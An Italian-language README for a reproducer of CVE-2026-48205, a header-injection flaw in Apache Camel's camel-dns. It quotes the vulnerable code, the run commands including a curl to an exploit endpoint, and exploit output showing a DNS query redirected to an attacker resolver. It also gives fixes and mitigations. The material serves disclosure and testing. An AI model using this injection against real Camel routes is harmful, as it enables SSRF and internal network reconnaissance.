
Reproducer per CVE-2026-48205: iniezione nell'header dns.* di Apache Camel camel-dns che reindirizza le query DNS verso un resolver controllato dall'attaccante (SSRF tramite DNS) e consente la ricognizione di hostname interni (corretto in 4.14.8/4.18.3/4.21.0)
dns.* / term (CVE-2026-48205)Questo progetto dimostra un'iniezione di header di messaggio nel componente camel-dns di Apache Camel, tracciata come CVE-2026-48205. I producer DNS leggono i propri parametri operativi — il resolver da interrogare, il nome/dominio da risolvere, il tipo/classe di record e il termine di ricerca — da header dell'Exchange i cui valori costanti (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) erano le semplici stringhe dns.server, dns.name, dns.domain, dns.type, dns.class e term. Poiché questi nomi non iniziano con il prefisso Camel / camel, HttpHeaderFilterStrategy — che al confine HTTP blocca solo il namespace degli header Camel — li lasciava passare da una richiesta HTTP in entrata direttamente nell'Exchange.
In una rotta che collega un consumer HTTP (ad esempio platform-http) a un producer dns:, qualsiasi client HTTP può quindi impostare l'header dns.server per fare in modo che il producer dig costruisca un SimpleResolver che punta a un server DNS controllato dall'attaccante — una server-side request forgery via DNS attraverso la quale l'attaccante osserva il nome interrogato e può restituire risposte avvelenate — e può impostare dns.name / dns.domain per risolvere hostname interni arbitrari (ricognizione della rete interna).
Advisory: https://camel.apache.org/security/CVE-2026-48205.html
La correzione rinomina gli header come
CamelDnsServer/CamelDnsName/ ecc., così da essere filtrati al confine HTTP come ogni altro header di controllo Camel. Stessa famiglia di CVE-2025-27636, CVE-2026-46454 e CVE-2026-47323.
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
La correzione (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) rinomina i valori secondo la convenzione CamelDns*.
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
La rotta interroga un nome fisso con il resolver predefinito. L'attaccante aggiunge un singolo header dns.server e la query viene reindirizzata al suo server DNS. (dns.server è minuscolo, quindi sopravvive alla normalizzazione degli header di un container servlet — platform-http è sufficiente.)
Tutto viene eseguito in un unico container autonomo: la rotta vittima, il falso server DNS dell'attaccante (UDP 53) e il driver dell'attaccante.
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
Il server DNS dell'attaccante ora vede il nome interrogato dalla vittima (e potrebbe restituire una risposta avvelenata). Puntare dns.server verso un vero resolver DNS interno, oppure impostare dns.name su hostname interni, consente la ricognizione della rete interna.
Aggiornare a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574). Dopo l'aggiornamento, le rotte che pilotano le operazioni DNS tramite header devono usare CamelDnsServer / CamelDnsName / ecc.
In attesa dell'aggiornamento, rimuovere gli header dns.* e term da qualsiasi ingresso non affidabile prima del producer dns: e impostare il server DNS e i parametri di interrogazione a partire da una fonte attendibile nella rotta.
Questa riproduzione è fornita solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarla contro sistemi senza esplicita autorizzazione.
| Proprietà | Valore |
|---|
| Componente | camel-dns |
| Classe interessata | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (Validazione impropria dell'input) / CWE-918 (Server-Side Request Forgery) |
| Impatto | Reindirizzare la query DNS della rotta verso un server controllato dall'attaccante (osservare i nomi, restituire risposte avvelenate); enumerare hostname interni |
| Prerequisiti | Una rotta collega un consumer HTTP a un producer dns:; non autenticato quando lo è il consumer |
| Versioni interessate | Dalla 4.0.0 a prima della 4.14.8, dalla 4.15.0 a prima della 4.18.3, dalla 4.19.0 a prima della 4.21.0 |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| Crediti | Yu Bao (PayPal) |